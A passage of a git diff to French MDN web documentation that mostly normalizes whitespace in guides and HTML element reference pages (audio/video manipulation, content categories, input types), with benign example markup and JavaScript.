b/files/fr/web/guide/audio_and_video_manipulation/index.md @@ -10,7 +10,7 @@ tags: - WebGL translation_of: Web/Guide/Audio_and_video_manipulation --- -La beauté du web est qu'on peut combiner différentes technologies pour en créer de nouvelles. Avoir de l'audio et vidéo nativement dans le navigateur nous donne la possibilité d'utiliser ces flux de données avec d'autres technologies comme {{htmlelement("canvas")}}, [WebGL](/fr/docs/Web/API/WebGL_API) ou [Web Audio API](/fr/docs/Web/API/Web_Audio_API) pour modifier le média — par exemple ajouter des effets de réverbération ou de compression à l'audio, ou encore des filtres noir & blanc/sépia aux vidéos. Cet article fournit une référence pour expliquer ce que vous pouvez faire. +La beauté du web est qu'on peut combiner différentes technologies pour en créer de nouvelles. Avoir de l'audio et vidéo nativement dans le navigateur nous donne la possibilité d'utiliser ces flux de données avec d'autres technologies comme {{htmlelement("canvas")}}, [WebGL](/fr/docs/Web/API/WebGL_API) ou [Web Audio API](/fr/docs/Web/API/Web_Audio_API) pour modifier le média — par exemple ajouter des effets de réverbération ou de compression à l'audio, ou encore des filtres noir & blanc/sépia aux vidéos. Cet article fournit une référence pour expliquer ce que vous pouvez faire. ## Manipulation Vidéo @@ -132,8 +132,8 @@ myVideo.playbackRate = 2; <source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"> </video> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> var myVideo = document.getElementById('my-video'); @@ -215,8 +215,8 @@ filter.gain.value = 25; <source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"> </video> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> filter.type = "lowshelf"; diff --git a/files/fr/web/guide/graphics/index.md b/files/fr/web/guide/graphics/index.md index d458fb84e4..d7fc5502c9 100644 --- a/files/fr/web/guide/graphics/index.md +++ b/files/fr/web/guide/graphics/index.md @@ -24,12 +24,12 @@ Les articles ci-dessous vous permettront de vous familiariser avec ces technolog - [Dessiner avec les canvas](/fr/docs/Web/Guide/Graphics/Dessiner_avec_canvas) - : Un guide d'introduction pour utiliser l'élément pour dessiner en 2D. - [SVG](/fr/docs/SVG) - - : Scalable Vector Graphics (SVG) vous permet d'utiliser des lignes, courbes et d'autres figures géométriques pour dessiner. Les images SVG n'étant pas des images matricielles, elles permettent de faire des images redimensionnables sans limite. + - : Scalable Vector Graphics (SVG) vous permet d'utiliser des lignes, courbes et d'autres figures géométriques pour dessiner. Les images SVG n'étant pas des images matricielles, elles permettent de faire des images redimensionnables sans limite. ## Graphismes 3D - [WebGL](/fr/docs/WebGL) - - : Un guide pour débuter avec WebGL l'API graphique 3D, pour le Web. Cette technologie vous permettra d'utiliser le standard OpenGL ES pour du contenu Web. + - : Un guide pour débuter avec WebGL l'API graphique 3D, pour le Web. Cette technologie vous permettra d'utiliser le standard OpenGL ES pour du contenu Web. ## Video diff --git a/files/fr/web/guide/html/content_categories/index.md b/files/fr/web/guide/html/content_categories/index.md index 10fed97d97..ce6fff092b 100644 --- a/files/fr/web/guide/html/content_categories/index.md +++ b/files/fr/web/guide/html/content_categories/index.md @@ -62,7 +62,7 @@ Les éléments appartenant à cette catégorie sont {{HTMLElement("h1")}}, {{HTM Le contenu phrasé définit le texte et le balisage qu'il contient. Des séquences de contenu phrasé constituent des paragraphes. -Les éléments appartenant à cette catégorie sont {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("picture")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} et du texte brut (n'étant pas une simple suite de blancs). +Les éléments appartenant à cette catégorie sont {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("picture")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} et du texte brut (n'étant pas une simple suite de blancs). Quelques autres éléments appartiennent à cette catégorie mais seulement selon certaines conditions : @@ -97,7 +97,7 @@ Un contenu peut être dit tangible lorsqu'il n'est ni vide ni caché. Les élém ### Contenu associé aux formulaires -Le contenu associé aux formulaires contient les éléments possédés par un formulaire, exposé avec un attribut **form**. Être possédé par un formulaire signifie être descendant d'un élément {{HTMLElement("form")}} ou de l'élément dont l'identifiant est référencé par la valeur de l'attribut **form**. +Le contenu associé aux formulaires contient les éléments possédés par un formulaire, exposé avec un attribut **form**. Être possédé par un formulaire signifie être descendant d'un élément {{HTMLElement("form")}} ou de l'élément dont l'identifiant est référencé par la valeur de l'attribut **form**. Cette catégorie contient les éléments : @@ -118,7 +118,7 @@ Cette catégorie peut être subdivisée en plusieurs sous-catégories. - listed (éléments listés) - : Les éléments étant listés sont les ensembles IDL [form.elements](/fr/docs/DOM/form.elements "DOM/form.elements") et fieldset.elements. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}. - labelable (éléments étiquetables) - - : Les éléments pouvant être associés avec des éléments {{HTMLElement("label")}}. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}. + - : Les éléments pouvant être associés avec des éléments {{HTMLElement("label")}}. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}. - submittable (éléments participants à l'envoi du formulaire) - : Les éléments pouvant être utilisés pour construire les données du formulaires quand celui-ci est envoyé. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("object")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}. - resettable (éléments de ré-initialisation) diff --git a/files/fr/web/guide/performance/index.md b/files/fr/web/guide/performance/index.md index 9731275914..5f79a4315d 100644 --- a/files/fr/web/guide/performance/index.md +++ b/files/fr/web/guide/performance/index.md @@ -7,12 +7,12 @@ tags: - Web translation_of: Web/Guide/Performance --- -Lorsque l’on créent des sites et des applications internet modernes, il est important que notre code soit performant. C’est-à-dire, le faire fonctionner rapidement et efficacement. Lui permettant ainsi de fonctionner aussi efficacement à la fois pour les utilisateurs de puissants systèmes de bureau et pour les appareils portables ayant moins de puissance. On appel cela le PageSpeed Optimization (optimisation de la vitesse de chargement de pages web). Il y a plusieurs outils disponibles pour vérifiez les performances de chargement d’un site ou de blog internet. Les plus connus sont listés ci-dessous : +Lorsque l’on créent des sites et des applications internet modernes, il est important que notre code soit performant. C’est-à-dire, le faire fonctionner rapidement et efficacement. Lui permettant ainsi de fonctionner aussi efficacement à la fois pour les utilisateurs de puissants systèmes de bureau et pour les appareils portables ayant moins de puissance. On appel cela le PageSpeed Optimization (optimisation de la vitesse de chargement de pages web). Il y a plusieurs outils disponibles pour vérifiez les performances de chargement d’un site ou de blog internet. Les plus connus sont listés ci-dessous : - [Google PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) - [Pingdome - Website Performance Monitoring](https://www.pingdom.com) - [ySlow](http://yslow.org/) -Les sites internet statiques en HTML ont besoins, pour améliorer leurs performances, de techniques manuelles d’optimisation. Plusieurs produits logiciels open source à l’instar de WordPress, ont eux des plugins disponibles pour permettre aux propriétaires de sites web d’optimisez leurs performances web. [WP Super Charge](https://codecanyon.net/item/wp-super-charge/17091749) est un des plugins disponible sur la boutique de WordPress, il permet à l’utilisateur d’optimisez les performances de son site en un clic. +Les sites internet statiques en HTML ont besoins, pour améliorer leurs performances, de techniques manuelles d’optimisation. Plusieurs produits logiciels open source à l’instar de WordPress, ont eux des plugins disponibles pour permettre aux propriétaires de sites web d’optimisez leurs performances web. [WP Super Charge](https://codecanyon.net/item/wp-super-charge/17091749) est un des plugins disponible sur la boutique de WordPress, il permet à l’utilisateur d’optimisez les performances de son site en un clic. {{LandingPageListSubpages}} diff --git a/files/fr/web/guide/writing_forward-compatible_websites/index.md b/files/fr/web/guide/writing_forward-compatible_websites/index.md index 4ff89b5235..d847290b5c 100644 --- a/files/fr/web/guide/writing_forward-compatible_websites/index.md +++ b/files/fr/web/guide/writing_forward-compatible_websites/index.md @@ -13,7 +13,7 @@ C'est d'autant plus important pour les intranets et autres sites non-publics; s' ## JavaScript -### Préfixez tous les accès à des variables globales dans les attributs `onfoo` par “`window.`” +### Préfixez tous les accès à des variables globales dans les attributs `onfoo` par “`window.`” Quand un attribut de gestion d'évenement (`onclick`, `onmouseover`, etc) est utilisé sur un élément HTML, toutes les résolutions de variable dans l'attribut sont d'abord résolues sur l'élément lui-même, puis sur le formulaire contenant l'élément (si c'est un élément de formulaire), puis sur `document`, puis finalement sur `window` (là où se trouvent les variables globales que vous avez définies).Par exemple, si vous avez le balisage suivant : @@ -45,9 +45,9 @@ Suggérez aux développeurs de vos bibliothèques favorites de suivre ces recomm ### Détecter des fonctionnalités particulières -Si vous avez l'intention d'utiliser une fonctionnalité en particulier, utilisez autant que possible la détection d'objet pour détecter cette fonctionnalité particulière. Par exemple, ne considérez pas que si dans un navigateur `"filter" in body.style` s'évalue à `true`, alors forcément ce navigateur doit être Internet Explorer et que donc cela signifie qu'il possède un objet `window.event` disponible dans les gestionnaires d'évenement. +Si vous avez l'intention d'utiliser une fonctionnalité en particulier, utilisez autant que possible la détection d'objet pour détecter cette fonctionnalité particulière. Par exemple, ne considérez pas que si dans un navigateur `"filter" in body.style` s'évalue à `true`, alors forcément ce navigateur doit être Internet Explorer et que donc cela signifie qu'il possède un objet `window.event` disponible dans les gestionnaires d'évenement. -De manière générale, ne considérez pas que si un navigateur supporte une certaine fonctionnalité DOM, alors il doit forcément en supporter une autre, particulièrement si elle est non standard. Ou, à l'inverse, que s'il ne supporte *pas* une autre fonctionnalité, alors il n'en supportera pas non plus une autre. Par exemple, ce n'est pas parce qu'un navigateur supporte `onload` sur les éléments scripts alors cela signifie qu'il ne supportera jamais `onreadystatechange` sur ces mêmes éléments. +De manière générale, ne considérez pas que si un navigateur supporte une certaine fonctionnalité DOM, alors il doit forcément en supporter une autre, particulièrement si elle est non standard. Ou, à l'inverse, que s'il ne supporte *pas* une autre fonctionnalité, alors il n'en supportera pas non plus une autre. Par exemple, ce n'est pas parce qu'un navigateur supporte `onload` sur les éléments scripts alors cela signifie qu'il ne supportera jamais `onreadystatechange` sur ces mêmes éléments. Les comportement des navigateurs convergent de plus en plus: des fonctionnalités sont ajoutées, supprimées, des bugs sont corrigés. Tout ceci arrive regulièrement et arrivera encore. @@ -92,7 +92,7 @@ Même si la fonctionnalitée est préfixée, l'utiliser peut être dangereux : a Les fonctionnalités non standard, prefixées, sont fournies par les développeurs de navigateurs pour vous permettre de les expérimenter et d'offrir vos remarques en retour. Elles ne sont pas censées être déployées. Si vous choisissez de les utiliser, préparez-vous à faire des mises à jour régulières de votre site pour rester à flot avec les changements. -Lorsque vous utilisez des fonctionnalités ultra récentes (même standards) qui ne sont pas encore implémentées partout, assurez-vous de tester les solutions de secours. Assurez-vous de tester ce qu'il se passe dans un navigateur qui n'implémente pas la fonctionnalité que vous utilisez, plus particulierement si vous ne l'utilisez pas régulièrement lors de l'élaboration de votre site. +Lorsque vous utilisez des fonctionnalités ultra récentes (même standards) qui ne sont pas encore implémentées partout, assurez-vous de tester les solutions de secours. Assurez-vous de tester ce qu'il se passe dans un navigateur qui n'implémente pas la fonctionnalité que vous utilisez, plus particulierement si vous ne l'utilisez pas régulièrement lors de l'élaboration de votre site. ### N'utilisez pas les versions préfixées des fonctionnalités, à moins de cibler les anciennes versions diff --git a/files/fr/web/html/attributes/accept/index.md b/files/fr/web/html/attributes/accept/index.md index 66c18d9ef0..825503001a 100644 --- a/files/fr/web/html/attributes/accept/index.md +++ b/files/fr/web/html/attributes/accept/index.md @@ -16,14 +16,14 @@ L'attribut **`accept`** prend comme valeur une liste séparée par des virgules Comme un type de fichier donné peut être identifié de plusieurs manières, il est utile de fournir un ensemble complet de spécificateurs de type lorsque vous avez besoin de fichiers d'un type spécifique, ou d'utiliser le joker pour indiquer qu'un type de n'importe quel format est accepté. -Par exemple, il existe un certain nombre de façons d'identifier les fichiers Microsoft Word, de sorte qu'un site qui accepte les fichiers Word pourrait utiliser un `<input>` comme celui-ci : +Par exemple, il existe un certain nombre de façons d'identifier les fichiers Microsoft Word, de sorte qu'un site qui accepte les fichiers Word pourrait utiliser un `<input>` comme celui-ci : ```html <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> ``` -En revanche, si vous acceptez un fichier multimédia, vous pouvez inclure tout format de ce type de média : +En revanche, si vous acceptez un fichier multimédia, vous pouvez inclure tout format de ce type de média : ```html <input type="file" id="soundFile" accept="audio/*"> diff --git a/files/fr/web/html/date_and_time_formats/index.md b/files/fr/web/html/date_and_time_formats/index.md index 48353fd7b2..ed70cec78d 100644 --- a/files/fr/web/html/date_and_time_formats/index.md +++ b/files/fr/web/html/date_and_time_formats/index.md @@ -264,7 +264,7 @@ On notera que les deux composantes pour l'année et pour la semaine sont complé ## Représentation des mois -Une chaîne de caractères pour un mois représente un mois d'une année donnée (plutôt qu'un mois « générique »). Aussi, on ne représentera pas simplement le mois de janvier mais le mois de janvier de l'année 1972. +Une chaîne de caractères pour un mois représente un mois d'une année donnée (plutôt qu'un mois « générique »). Aussi, on ne représentera pas simplement le mois de janvier mais le mois de janvier de l'année 1972. Une chaîne de caractères représentant un mois est valide si elle commence par un numéro d'année valide (une chaîne de caractères composée de quatre chiffres), suivie d'un tiret ("`-`", ou U+002D), suivi d'un nombre sur deux chiffres où `01` représente janvier et où `12` représente décembre. diff --git a/files/fr/web/html/element/a/index.md b/files/fr/web/html/element/a/index.md index fc5bbdf380..f703aa989b 100644 --- a/files/fr/web/html/element/a/index.md +++ b/files/fr/web/html/element/a/index.md @@ -418,7 +418,7 @@ Les personnes qui utilisent des outils d'assistance à la navigation comme des l Si une icône est utilisée en lieu et place du texte pour indiquer ce comportement, on s'assurera qu'elle contient bien [une description alternative](/fr/docs/Web/HTML/Element/Img#attr-alt). ```html -<a target="_blank" href="https://www.wikipedia.org"> +<a target="_blank" href="https://www.wikipedia.org"> Wikipédia <img alt="(s'ouvre dans un nouvel onglet)" src="newtab.svg"> </a> diff --git a/files/fr/web/html/element/audio/index.md b/files/fr/web/html/element/audio/index.md index 1345b3da29..d42cb18d38 100644 --- a/files/fr/web/html/element/audio/index.md +++ b/files/fr/web/html/element/audio/index.md @@ -231,7 +231,7 @@ En plus des dialogues parlés, les sous-titres et les transcriptions doivent ég 00:00:52 --> 00:01:02 [sur un ton énervé] Vous rendez la poulette ou c'est plus vous qui donnez à manger aux lapins ? -Une autre bonne pratique consiste à fournir du contenu comme un lien de téléchargement comme méthode alternative pour les personnes qui utilisent un navigateur qui ne prend pas en charge `<audio>` : +Une autre bonne pratique consiste à fournir du contenu comme un lien de téléchargement comme méthode alternative pour les personnes qui utilisent un navigateur qui ne prend pas en charge `<audio>` : ```html <audio controls> diff --git a/files/fr/web/html/element/colgroup/index.md b/files/fr/web/html/element/colgroup/index.md index fa0f0b76a7..42417eeaf4 100644 --- a/files/fr/web/html/element/colgroup/index.md +++ b/files/fr/web/html/element/colgroup/index.md @@ -135,7 +135,7 @@ Les attributs suivants sont dépréciés et ne doivent pas être utilisés. Ils - **`bgcolor`** {{deprecated_inline}} - - : La couleur de fond du tableau. Il s'agit d'un [code RVB hexadécimal à 6 chiffres](/fr/docs/Web/CSS/color_value#rgb_colors), préfixé par un « `#` ». L'un des [mots-clés de couleur](/fr/docs/Web/CSS/color_value#color_keywords) prédéfinis peut également être utilisé. + - : La couleur de fond du tableau. Il s'agit d'un [code RVB hexadécimal à 6 chiffres](/fr/docs/Web/CSS/color_value#rgb_colors), préfixé par un « `#` ». L'un des [mots-clés de couleur](/fr/docs/Web/CSS/color_value#color_keywords) prédéfinis peut également être utilisé. Pour obtenir un effet similaire, utilisez la propriété CSS [`background-color`](/fr/docs/Web/CSS/background-color). diff --git a/files/fr/web/html/element/head/index.md b/files/fr/web/html/element/head/index.md index f5ba498b1e..cbbbc9a6f0 100644 --- a/files/fr/web/html/element/head/index.md +++ b/files/fr/web/html/element/head/index.md @@ -94,7 +94,7 @@ La plupart des navigateurs conformes à HTML5 construisent automatiquement l'él | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------------------------------------- | | {{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '<head>')}} | {{Spec2('HTML WHATWG')}} | Aucune modification depuis la dernière dérivation. | | {{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '<head>')}} | {{Spec2('HTML5 W3C')}} | L'attribut `profile` est désormais obsolète. | -| {{SpecName('HTML4.01', 'global.html#h-7.4.1', '<head>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML4.01', 'global.html#h-7.4.1', '<head>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/hgroup/index.md b/files/fr/web/html/element/hgroup/index.md index 4b4e76d8c1..f07358ec1f 100644 --- a/files/fr/web/html/element/hgroup/index.md +++ b/files/fr/web/html/element/hgroup/index.md @@ -10,7 +10,7 @@ translation_of: Web/HTML/Element/hgroup --- {{HTMLRef}} -L'élément HTML **`<hgroup>`** représente un titre de plusieurs niveaux pour une section d'un document. Il regroupe un ensemble d'éléments [`<h1>–<h6>`](/fr/docs/Web/HTML/Element/Heading_Elements). +L'élément HTML **`<hgroup>`** représente un titre de plusieurs niveaux pour une section d'un document. Il regroupe un ensemble d'éléments [`<h1>–<h6>`](/fr/docs/Web/HTML/Element/Heading_Elements). {{EmbedInteractiveExample("pages/tabbed/hgroup.html", "tabbed-standard")}} @@ -139,7 +139,7 @@ Ici, le titre secondaire est placé entre parenthèses après le titre principal | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'semantics.html#the-hgroup-element', '<hgroup>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'semantics.html#the-hgroup-element', '<hgroup>')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/input/button/index.md b/files/fr/web/html/element/input/button/index.md index e0ff7fcca8..ef0e339629 100644 --- a/files/fr/web/html/element/input/button/index.md +++ b/files/fr/web/html/element/input/button/index.md @@ -144,7 +144,7 @@ function disableBtn() { Si l'attribut `disabled` n'est pas fourni, il est hérité depuis l'élément parent. De cette façon, on peut activer/désactiver des groupes d'éléments en les plaçant dans un conteneur (par exemple un élément {{HTMLElement("fieldset")}}) et en indiquant `disabled` sur le conteneur. -C'est ce qu'illustre l'exemple suivant. Il est semblable à l'exemple précédent mais l'attribut `disabled` est activé sur l'élément `<fieldset>` lorsqu'on appuie sur le premier bouton. Les trois autres boutons sont donc désactivés pendant deux secondes. +C'est ce qu'illustre l'exemple suivant. Il est semblable à l'exemple précédent mais l'attribut `disabled` est activé sur l'élément `<fieldset>` lorsqu'on appuie sur le premier bouton. Les trois autres boutons sont donc désactivés pendant deux secondes. #### Exemple 2 diff --git a/files/fr/web/html/element/input/date/index.md b/files/fr/web/html/element/input/date/index.md index 0ec7d916c7..a41d265409 100644 --- a/files/fr/web/html/element/input/date/index.md +++ b/files/fr/web/html/element/input/date/index.md @@ -233,7 +233,7 @@ C'est pour cela que la meilleure solution consiste à avoir trois champs de sais ## Exemples -Dans l'exemple qui suit, on crée deux éléments d'interface utilisateur afin de choisir une date : le premier qui utilise un sélecteur natif `<input type="date">` et un second qui utilise trois éléments {{htmlelement("select")}} qui permettra de choisir une date pour les anciens navigateurs qui ne prendraient pas en charge le contrôle natif. +Dans l'exemple qui suit, on crée deux éléments d'interface utilisateur afin de choisir une date : le premier qui utilise un sélecteur natif `<input type="date">` et un second qui utilise trois éléments {{htmlelement("select")}} qui permettra de choisir une date pour les anciens navigateurs qui ne prendraient pas en charge le contrôle natif. {{EmbedLiveSample('Exemples', 600, 100)}} @@ -348,7 +348,7 @@ function populateDays(month) { // Si le mois est février, on calcule si l'année est bissextile var year = yearSelect.value; var leap = new Date(year, 1, 29).getMonth() == 1; - dayNum = leap ? 29 : 28; + dayNum = leap ? 29 : 28; } // on ajoute le bon nombre de jours dans autant @@ -441,7 +441,7 @@ daySelect.onchange = function() { <td> {{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, - {{htmlattrxref("readonly", "input")}} et + {{htmlattrxref("readonly", "input")}} et {{htmlattrxref("step", "input")}} </td> </tr> diff --git a/files/fr/web/html/element/input/datetime-local/index.md b/files/fr/web/html/element/input/datetime-local/index.md index 02f7a49cd6..a5d22bfb05 100644 --- a/files/fr/web/html/element/input/datetime-local/index.md +++ b/files/fr/web/html/element/input/datetime-local/index.md @@ -222,7 +222,7 @@ C'est ce second problème qui est le plus important. Comme nous l'avons mentionn - `mm-dd-yyyy HH:mm` (heure exprimée sur 24 heures) - etc. -Une façon de contourner ce problème est de placer un attribut {{htmlattrxref("pattern", "input")}} dans l'élément ` <input type="``datetime-local"> `. Bien que cet élément n'utilise pas cet attribut, s'il est converti en `<input type="text">` par le navigateur, le motif sera alors utilisé. Vous pouvez par exemple essayer le code suivant dans un navigateur qui ne prend pas en charge `<input type="datetime-local">` : +Une façon de contourner ce problème est de placer un attribut {{htmlattrxref("pattern", "input")}} dans l'élément ` <input type="``datetime-local"> `. Bien que cet élément n'utilise pas cet attribut, s'il est converti en `<input type="text">` par le navigateur, le motif sera alors utilisé. Vous pouvez par exemple essayer le code suivant dans un navigateur qui ne prend pas en charge `<input type="datetime-local">` : ```html <form> diff --git a/files/fr/web/html/element/input/email/index.md b/files/fr/web/html/element/input/email/index.md index 22250ac4cf..769f4ae2d2 100644 --- a/files/fr/web/html/element/input/email/index.md +++ b/files/fr/web/html/element/input/email/index.md @@ -290,7 +290,7 @@ C'est pour cela qu'on indique la chaîne de caractères "Merci de fournir unique ## Exemples -Dans l'exemple qui suit, on peut saisir une adresse électronique qui contient au plus 256 caractères. La boîte de saisie affichera au plus 64 caractères et contiendra le texte `"user@example.gov"` comme indication lorsque le champ est vide. On trouve également l'attribut {{htmlattrxref("multiple", "input")}} qui permet de saisir zéro ou plusieurs adresses séparées par des virgules (cf. ci-avant). Enfin, l'attribut {{htmlattrxref("list", "input")}} utilisé indique un identifiant d'un élément {{HTMLElement("datalist")}} dont les éléments {{HTMLElement("option")}} déterminent les valeurs suggérées qui peuvent être sélectionnées par l'utilisateur. +Dans l'exemple qui suit, on peut saisir une adresse électronique qui contient au plus 256 caractères. La boîte de saisie affichera au plus 64 caractères et contiendra le texte `"user@example.gov"` comme indication lorsque le champ est vide. On trouve également l'attribut {{htmlattrxref("multiple", "input")}} qui permet de saisir zéro ou plusieurs adresses séparées par des virgules (cf. ci-avant). Enfin, l'attribut {{htmlattrxref("list", "input")}} utilisé indique un identifiant d'un élément {{HTMLElement("datalist")}} dont les éléments {{HTMLElement("option")}} déterminent les valeurs suggérées qui peuvent être sélectionnées par l'utilisateur. L'élément {{HTMLElement("label")}} qui précède l'élément `<input>` permettra d'afficher un libellé avant la boîte de saisie. Le lien entre les deux est fait grâce à l'attribut `for` qui contient `"emailAddress"` qui est l'identifiant de l'élément {{HTMLElement("input")}}. Grâce à cette association, cliquer sur l'étiquette permettra de placer le focus sur le champ de saisie. @@ -338,7 +338,7 @@ L'élément {{HTMLElement("label")}} qui précède l'élément `<input>` permett {{htmlattrxref("multiple", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, - {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("required", "input")}} + {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("required", "input")}} et {{htmlattrxref("size", "input")}} </td> </tr> diff --git a/files/fr/web/html/element/input/file/index.md b/files/fr/web/html/element/input/file/index.md index 8d329673d4..7f9e702da0 100644 --- a/files/fr/web/html/element/input/file/index.md +++ b/files/fr/web/html/element/input/file/index.md @@ -80,7 +80,7 @@ Un identifiant de type de fichier est une chaîne de caractères qui décrit le - Une extension de fichier valide, sensible à la casse et qui commence par un point (« . »). Par exemple : `.jpg`, `.pdf` ou `.doc`. - Un type MIME valide, sans extension. - La chaîne de caractères `audio/*` qui indique « n'importe quel fichier audio » -- La chaîne de caractères `video/*` qui indique « n'importe quel fichier vidéo » +- La chaîne de caractères `video/*` qui indique « n'importe quel fichier vidéo » - La chaîne de caractères `image/*` qui indique « n'importe quel fichier image ». L'attribut `accept` prend comme valeur une chaîne de caractères composée d'un ou plusieurs identifiants de type, séparés par des virgules. Ainsi, si un sélecteur de fichier doit permettre de sélectionner des images ou des documents PDF, on pourra écrire : @@ -125,7 +125,7 @@ Lorsqu'on envoie le formulaire de l'exemple, le nom de chaque fichier sera ajout ### Obtenir des informations sur les fichiers sélectionnés -Les fichiers sélectionnés peuvent être obtenus sous la forme d'un objet {{domxref("FileList")}} renvoyé par la propriété `HTMLInputElement.files` de l'élement du DOM. Cet objet est une liste d'objets {{domxref("File")}}. Un objet `FileList` se comporte comme un tableau et on peut donc consulter sa longueur (la propriété `length`) afin de connaître le nombre de fichiers sélectionnés. +Les fichiers sélectionnés peuvent être obtenus sous la forme d'un objet {{domxref("FileList")}} renvoyé par la propriété `HTMLInputElement.files` de l'élement du DOM. Cet objet est une liste d'objets {{domxref("File")}}. Un objet `FileList` se comporte comme un tableau et on peut donc consulter sa longueur (la propriété `length`) afin de connaître le nombre de fichiers sélectionnés. Chaque objet `File` contient les informations suivantes : diff --git a/files/fr/web/html/element/input/image/index.md b/files/fr/web/html/element/input/image/index.md index 03ffa06680..44772647af 100644 --- a/files/fr/web/html/element/input/image/index.md +++ b/files/fr/web/html/element/input/image/index.md @@ -58,7 +58,7 @@ Une chaîne de caractères qui identifie la méthode d'encodage à utiliser pour - `application/x-www-form-urlencoded` - : Les informations sont envoyées sous la forme d'une chaîne de caractères ajoutée à l'URL en utilisant l'algorithme de {{jsxref("encodeURI", "encodeURI()")}}. **Cette valeur est la valeur par défaut.** - `multipart/form-data` - - : Cette valeur utilise l'API {{domxref("FormData")}} pour gérer les données et permet d'*uploader*des fichiers. Cet encodage _doit_ être utilisé s'il y a des éléments {{HTMLElement("input")}} de {{htmlattrxref("type", "input")}} `"file"` ([`<input type="file">`](/fr/docs/Web/HTML/Element/input/file)). + - : Cette valeur utilise l'API {{domxref("FormData")}} pour gérer les données et permet d'*uploader*des fichiers. Cet encodage _doit_ être utilisé s'il y a des éléments {{HTMLElement("input")}} de {{htmlattrxref("type", "input")}} `"file"` ([`<input 